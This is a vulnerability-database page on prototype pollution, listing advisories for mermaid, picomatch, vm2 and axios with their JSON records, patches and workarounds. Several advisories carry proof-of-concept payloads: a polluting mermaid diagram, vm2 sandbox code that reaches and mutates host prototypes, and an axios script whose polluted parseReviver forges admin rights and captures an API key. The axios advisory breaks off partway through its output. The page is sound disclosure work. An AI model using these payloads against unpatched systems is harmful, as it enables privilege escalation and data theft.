Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

962 vulnerabilities reference this CWE, most recent first.

GHSA-3RRR-JR9J-H3Q3

Vulnerability from github – Published: 2026-08-06 19:51 – Updated: 2026-08-06 19:51
VLAI
Summary
Mermaid Architecture diagrams are vulnerable to prototype pollution
Details

Rendering an untrusted architecture-beta diagram lets the diagram author write an arbitrary property with the value horizontal or vertical onto Object.prototype. A group id of __proto__ is accepted as a valid parent.

Impact

Any code in the same realm that reads a property of that name from an arbitrary object, or enumerates an object with bare for...in, observes the injected value (which can only be the string horizontal or vertical.

This may mean corrupted option/config defaults, bypassed truthiness checks, causing denial of service or logic corruption in the embedding application.

Because the injected value cannot be an object or function, this is not directly exploitable for remote code execution.

PoC

architecture-beta
      group mermaidPrototypePollutionMarker(cloud)[Marker]
      service a(server)[A] in __proto__
      service b(server)[B] in mermaidPrototypePollutionMarker
      a:R -- L:b

The vulnerable write was introduced in commit cb0a4703bdf01d47508bde1c08aa9a980d70bc20 and first shipped in mermaid@11.5.0. The lines are unchanged in every release since.

Patches

This has been patched by https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf, released in Mermaid v11.16.1

Workarounds

There are no known workarounds. Please update to a patched version.

References

Are there any links users can visit to find out more?

  • https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf
  • https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mermaid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.5.0"
            },
            {
              "fixed": "11.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T19:51:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Rendering an untrusted `architecture-beta` diagram lets the diagram author write an arbitrary property with the value `horizontal` or `vertical` onto `Object.prototype`. A group id of `__proto__` is accepted as a valid parent.\n\n### Impact\n\nAny code in the same realm that reads a property of that name from an arbitrary object, or enumerates an object with bare `for...in`, observes the injected value (which can only be the string `horizontal` or `vertical`.\n\nThis may mean corrupted option/config defaults, bypassed truthiness checks, causing denial of service or logic corruption in the embedding application.\n\nBecause the injected value cannot be an object or function, this is not directly exploitable for remote code execution.\n\n### PoC\n\n```\narchitecture-beta\n      group mermaidPrototypePollutionMarker(cloud)[Marker]\n      service a(server)[A] in __proto__\n      service b(server)[B] in mermaidPrototypePollutionMarker\n      a:R -- L:b\n```\n\nThe vulnerable write was introduced in commit [cb0a4703bdf01d47508bde1c08aa9a980d70bc20](https://github.com/mermaid-js/mermaid/commit/cb0a4703bdf01d47508bde1c08aa9a980d70bc20) and first shipped in `mermaid@11.5.0`. The lines are unchanged in every release since.\n\n### Patches\n\nThis has been patched by https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf, released in [Mermaid v11.16.1](https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1)\n\n### Workarounds\n\nThere are no known workarounds. Please update to a patched version.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\n- https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf\n- https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1",
  "id": "GHSA-3rrr-jr9j-h3q3",
  "modified": "2026-08-06T19:51:59Z",
  "published": "2026-08-06T19:51:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/security/advisories/GHSA-3rrr-jr9j-h3q3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/pull/8022"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mermaid-js/mermaid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mermaid Architecture diagrams are vulnerable to prototype pollution"
}

GHSA-3V7F-55P6-F55P

Vulnerability from github – Published: 2026-03-25 21:13 – Updated: 2026-03-27 21:36
VLAI
Summary
Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching
Details

Impact

picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.

This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.

All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include: - Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]]. - Avoiding the use of POSIX bracket expressions if user input is involved. - Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:

```js const POSIX_REGEX_SOURCE = { proto: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };

Resources

  • fix for similar issue: https://github.com/micromatch/picomatch/pull/144
  • picomatch repository https://github.com/micromatch/picomatch
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:13:39Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n  ```js\n  const POSIX_REGEX_SOURCE = {\n    __proto__: null,\n    alnum: \u0027a-zA-Z0-9\u0027,\n    alpha: \u0027a-zA-Z\u0027,\n    // ... rest unchanged\n  };\n  \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
  "id": "GHSA-3v7f-55p6-f55p",
  "modified": "2026-03-27T21:36:24Z",
  "published": "2026-03-25T21:13:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/picomatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}

GHSA-3VGF-8M4Q-Q4QR

Vulnerability from github – Published: 2026-10-05 22:45 – Updated: 2026-10-05 22:45
VLAI
Summary
vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix
Details

Summary

vm2's current host-intrinsic prototype protection is incomplete. The fix for GHSA-vwrp-x96c-mhwq blocks sandbox writes into classic host intrinsics such as Object.prototype, Array.prototype, and Function.prototype, but current head still lets sandbox code in a default VM reach and mutate host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype.

After VM.run() returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.

Technical Details

The existing mitigation relies on protectedHostObjects in lib/bridge.js. That set is populated from otherGlobalPrototypes, which is built from a fixed inventory of classic globals:

const globalsList = [
  'Number', 'String', 'Boolean', 'Date', 'RegExp', 'Map', 'WeakMap',
  'Set', 'WeakSet', 'Promise', 'Function'
];

The inventory omits typed-array and ArrayBuffer intrinsics. Sandbox code can still reuse the host-prototype walking primitive from the prior public advisory:

const lookupGetter = ({}).__lookupGetter__;
const apply = Buffer.apply;
const protoGetter = apply.apply(lookupGetter, [Buffer, ['__proto__']]);
const hostBuffer = Buffer.from([1]);

const hostBufferPrototype = protoGetter.call(hostBuffer);
const hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype);
const hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype);
const hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);

Those objects are not sandbox-local. Inside the sandbox, hostUint8ArrayPrototype === Uint8Array.prototype, hostTypedArrayPrototype === Object.getPrototypeOf(Uint8Array.prototype), and hostArrayBufferPrototype === ArrayBuffer.prototype are all false. Because the objects are not in protectedHostObjects, bridge defineProperty writes are forwarded into the real host objects.

This is the same guard-coverage boundary as the previous host-intrinsic prototype pollution fix, but with a missing intrinsic family. The bridge already has the correct enforcement shape; the protected inventory is too narrow.

PoC

PoV: poc/pov-host-typedarray-arraybuffer-prototype-pollution.js

Current-head output:

{
  "status": "completed",
  "vulnerable": true,
  "node": "v25.8.0",
  "v8": "14.1.146.11-node.20",
  "control": {
    "defineResult": true,
    "sandboxReadsBack": "sandbox-only",
    "hostControlAfter": null
  },
  "exploit": {
    "hostUint8IsSandboxUint8": false,
    "hostTypedArrayIsSandboxTypedArray": false,
    "hostArrayBufferIsSandboxArrayBuffer": false,
    "defineUint8": true,
    "defineTypedArray": true,
    "defineArrayBuffer": true,
    "defineMethod": true
  },
  "hostEffect": {
    "uint8Marker": "polluted-host-uint8array-prototype",
    "typedArrayMarker": "polluted-host-typedarray-prototype",
    "arrayBufferMarker": "polluted-host-arraybuffer-prototype",
    "methodReturn": "sandbox-method-reached-host-uint8array"
  }
}

The control proves sandbox-local Uint8Array.prototype writes remain sandbox-local. The exploit path reaches host prototypes through the bridge and causes host-created objects to observe sandbox-installed properties after VM.run() returns.

Impact

This is a sandbox boundary violation and host intrinsic prototype pollution. An attacker who can run JavaScript in a default vm2 VM can mutate shared host typed-array and ArrayBuffer behavior without NodeVM, require, wildcard builtins, nesting: true, or any host-provided typed-array object.

The supplied PoV demonstrates integrity and availability impact by installing markers and a method on host prototypes:

  • Uint8Array.prototype
  • %TypedArray%.prototype, which affects typed-array families through the shared typed-array prototype chain
  • ArrayBuffer.prototype

The PoV does not claim direct host command execution or direct confidentiality impact. It is local-only and restores touched descriptors before exit.

Suggested Fix

Extend the protected host-object inventory and identity/prototype mappings to typed-array and binary-data intrinsics, including at least:

  • %TypedArray%.prototype
  • ArrayBuffer.prototype
  • SharedArrayBuffer.prototype when present
  • DataView.prototype
  • all concrete typed-array prototypes present in the runtime, including Uint8Array.prototype, Uint8ClampedArray.prototype, Int8Array.prototype, Uint16Array.prototype, Int16Array.prototype, Uint32Array.prototype, Int32Array.prototype, Float16Array.prototype when present, Float32Array.prototype, Float64Array.prototype, BigInt64Array.prototype, and BigUint64Array.prototype

A temporary patched-control that added this intrinsic family to thisGlobalPrototypes caused the same PoV's Reflect.defineProperty() calls to throw VMError: Operation not allowed on contextified object, and no host markers were installed.

The fix should cover the same host mutation traps used by the existing host-intrinsic protection: set, defineProperty, deleteProperty, and preventExtensions. It should not special-case Buffer; Buffer is only one way to reach the omitted host prototypes.

Affected Package/Versions

Confirmed on current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92 / v3.11.5 with Node v25.8.0 / V8 14.1.146.11-node.20.

Confirmed affected after the prior patch: npm:vm2 >= 3.11.0, <= 3.11.5.

Local sweep also reproduces on v3.10.0 through v3.10.5, but that range overlaps the already-published GHSA-vwrp-x96c-mhwq range. v3.9.0 through v3.9.2 did not produce host-visible pollution in the same local test.

Why This Is Not Intended Behavior

vm2 documents VM as a sandbox for untrusted code without require, with only JavaScript built-ins and Node's Buffer available by default. The known escape hatches do not explain this issue:

  • require.builtin: ['*'] is a NodeVM configuration; this PoV uses default VM.
  • nesting: true is not enabled or used.
  • The README timeout caveat covers host code operating on objects returned from the sandbox; this PoV mutates host intrinsics and later affects ordinary host-created typed arrays and ArrayBuffers.

The project's own attack notes state that host-realm intrinsic prototypes should be protected from sandbox writes, while non-intrinsic host objects may remain mutable when intentionally exposed. Typed-array and ArrayBuffer prototypes are host intrinsics, not embedder-owned application objects.

Buffer availability explains how the PoV reaches the host prototype chain, but it does not authorize mutation of unrelated host-realm intrinsics. The host effects are observed on new host-created typed arrays and ArrayBuffers after VM.run() returns; the host is not invoking an object returned from the sandbox.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.0"
            },
            {
              "fixed": "3.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92953"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:45:22Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nvm2\u0027s current host-intrinsic prototype protection is incomplete. The fix for `GHSA-vwrp-x96c-mhwq` blocks sandbox writes into classic host intrinsics such as `Object.prototype`, `Array.prototype`, and `Function.prototype`, but current head still lets sandbox code in a default `VM` reach and mutate host `Uint8Array.prototype`, `%TypedArray%.prototype`, and `ArrayBuffer.prototype`.\n\nAfter `VM.run()` returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.\n\n## Technical Details\n\nThe existing mitigation relies on `protectedHostObjects` in `lib/bridge.js`. That set is populated from `otherGlobalPrototypes`, which is built from a fixed inventory of classic globals:\n\n```js\nconst globalsList = [\n  \u0027Number\u0027, \u0027String\u0027, \u0027Boolean\u0027, \u0027Date\u0027, \u0027RegExp\u0027, \u0027Map\u0027, \u0027WeakMap\u0027,\n  \u0027Set\u0027, \u0027WeakSet\u0027, \u0027Promise\u0027, \u0027Function\u0027\n];\n```\n\nThe inventory omits typed-array and ArrayBuffer intrinsics. Sandbox code can still reuse the host-prototype walking primitive from the prior public advisory:\n\n```js\nconst lookupGetter = ({}).__lookupGetter__;\nconst apply = Buffer.apply;\nconst protoGetter = apply.apply(lookupGetter, [Buffer, [\u0027__proto__\u0027]]);\nconst hostBuffer = Buffer.from([1]);\n\nconst hostBufferPrototype = protoGetter.call(hostBuffer);\nconst hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype);\nconst hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype);\nconst hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);\n```\n\nThose objects are not sandbox-local. Inside the sandbox, `hostUint8ArrayPrototype === Uint8Array.prototype`, `hostTypedArrayPrototype === Object.getPrototypeOf(Uint8Array.prototype)`, and `hostArrayBufferPrototype === ArrayBuffer.prototype` are all false. Because the objects are not in `protectedHostObjects`, bridge `defineProperty` writes are forwarded into the real host objects.\n\nThis is the same guard-coverage boundary as the previous host-intrinsic prototype pollution fix, but with a missing intrinsic family. The bridge already has the correct enforcement shape; the protected inventory is too narrow.\n\n## PoC\n\nPoV: `poc/pov-host-typedarray-arraybuffer-prototype-pollution.js`\n\nCurrent-head output:\n\n```json\n{\n  \"status\": \"completed\",\n  \"vulnerable\": true,\n  \"node\": \"v25.8.0\",\n  \"v8\": \"14.1.146.11-node.20\",\n  \"control\": {\n    \"defineResult\": true,\n    \"sandboxReadsBack\": \"sandbox-only\",\n    \"hostControlAfter\": null\n  },\n  \"exploit\": {\n    \"hostUint8IsSandboxUint8\": false,\n    \"hostTypedArrayIsSandboxTypedArray\": false,\n    \"hostArrayBufferIsSandboxArrayBuffer\": false,\n    \"defineUint8\": true,\n    \"defineTypedArray\": true,\n    \"defineArrayBuffer\": true,\n    \"defineMethod\": true\n  },\n  \"hostEffect\": {\n    \"uint8Marker\": \"polluted-host-uint8array-prototype\",\n    \"typedArrayMarker\": \"polluted-host-typedarray-prototype\",\n    \"arrayBufferMarker\": \"polluted-host-arraybuffer-prototype\",\n    \"methodReturn\": \"sandbox-method-reached-host-uint8array\"\n  }\n}\n```\n\nThe control proves sandbox-local `Uint8Array.prototype` writes remain sandbox-local. The exploit path reaches host prototypes through the bridge and causes host-created objects to observe sandbox-installed properties after `VM.run()` returns.\n\n## Impact\n\nThis is a sandbox boundary violation and host intrinsic prototype pollution. An attacker who can run JavaScript in a default vm2 `VM` can mutate shared host typed-array and ArrayBuffer behavior without `NodeVM`, `require`, wildcard builtins, `nesting: true`, or any host-provided typed-array object.\n\nThe supplied PoV demonstrates integrity and availability impact by installing markers and a method on host prototypes:\n\n- `Uint8Array.prototype`\n- `%TypedArray%.prototype`, which affects typed-array families through the shared typed-array prototype chain\n- `ArrayBuffer.prototype`\n\nThe PoV does not claim direct host command execution or direct confidentiality impact. It is local-only and restores touched descriptors before exit.\n\n## Suggested Fix\n\nExtend the protected host-object inventory and identity/prototype mappings to typed-array and binary-data intrinsics, including at least:\n\n- `%TypedArray%.prototype`\n- `ArrayBuffer.prototype`\n- `SharedArrayBuffer.prototype` when present\n- `DataView.prototype`\n- all concrete typed-array prototypes present in the runtime, including `Uint8Array.prototype`, `Uint8ClampedArray.prototype`, `Int8Array.prototype`, `Uint16Array.prototype`, `Int16Array.prototype`, `Uint32Array.prototype`, `Int32Array.prototype`, `Float16Array.prototype` when present, `Float32Array.prototype`, `Float64Array.prototype`, `BigInt64Array.prototype`, and `BigUint64Array.prototype`\n\nA temporary patched-control that added this intrinsic family to `thisGlobalPrototypes` caused the same PoV\u0027s `Reflect.defineProperty()` calls to throw `VMError: Operation not allowed on contextified object`, and no host markers were installed.\n\nThe fix should cover the same host mutation traps used by the existing host-intrinsic protection: `set`, `defineProperty`, `deleteProperty`, and `preventExtensions`. It should not special-case `Buffer`; `Buffer` is only one way to reach the omitted host prototypes.\n\n## Affected Package/Versions\n\nConfirmed on current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92` / `v3.11.5` with Node `v25.8.0` / V8 `14.1.146.11-node.20`.\n\nConfirmed affected after the prior patch: `npm:vm2 \u003e= 3.11.0, \u003c= 3.11.5`.\n\nLocal sweep also reproduces on `v3.10.0` through `v3.10.5`, but that range overlaps the already-published `GHSA-vwrp-x96c-mhwq` range. `v3.9.0` through `v3.9.2` did not produce host-visible pollution in the same local test.\n\n## Why This Is Not Intended Behavior\n\nvm2 documents `VM` as a sandbox for untrusted code without `require`, with only JavaScript built-ins and Node\u0027s `Buffer` available by default. The known escape hatches do not explain this issue:\n\n- `require.builtin: [\u0027*\u0027]` is a `NodeVM` configuration; this PoV uses default `VM`.\n- `nesting: true` is not enabled or used.\n- The README timeout caveat covers host code operating on objects returned from the sandbox; this PoV mutates host intrinsics and later affects ordinary host-created typed arrays and ArrayBuffers.\n\nThe project\u0027s own attack notes state that host-realm intrinsic prototypes should be protected from sandbox writes, while non-intrinsic host objects may remain mutable when intentionally exposed. Typed-array and ArrayBuffer prototypes are host intrinsics, not embedder-owned application objects.\n\n`Buffer` availability explains how the PoV reaches the host prototype chain, but it does not authorize mutation of unrelated host-realm intrinsics. The host effects are observed on new host-created typed arrays and ArrayBuffers after `VM.run()` returns; the host is not invoking an object returned from the sandbox.",
  "id": "GHSA-3vgf-8m4q-q4qr",
  "modified": "2026-10-05T22:45:23Z",
  "published": "2026-10-05T22:45:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-3vgf-8m4q-q4qr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92953"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/92a10fca7b3ca63bb1574b6795540264f6805b30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.11.0-through-3.11.7-prototype-pollution-via-typedarray"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix"
}

GHSA-3W6X-2G7M-8V23

Vulnerability from github – Published: 2026-05-05 00:19 – Updated: 2026-05-05 00:19
VLAI
Summary
Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Within the application process
Confidentiality High The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity High Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability None No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor GHSA-fvcv-3m26-pcqx (Header Injection) transformResponse proxy (MITM) parseReviver (This)
PP target Object.prototype['header'] Object.prototype.transformResponse Object.prototype.proxy Object.prototype.parseReviver
Fixed by 1.15.0? Yes No No No
Constraints N/A (fixed) Must return true None None
Data modification Header injection only Response replaced with true Full MITM Selective per-key modification
Stealth Request anomaly visible Response becomes true (obvious) Proxy visible in network Completely invisible
Data access Headers only this.auth + raw response All traffic Every JSON key-value pair
Validated? N/A assertOptions validates Not validated Not validated
In defaults? N/A Yes → goes through mergeConfig No → bypasses mergeConfig No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response

Why parseReviver Bypasses ALL Existing Protections

  1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

  2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

  3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

  4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],

Proof of Concept

import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();

Verified PoC Output

[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

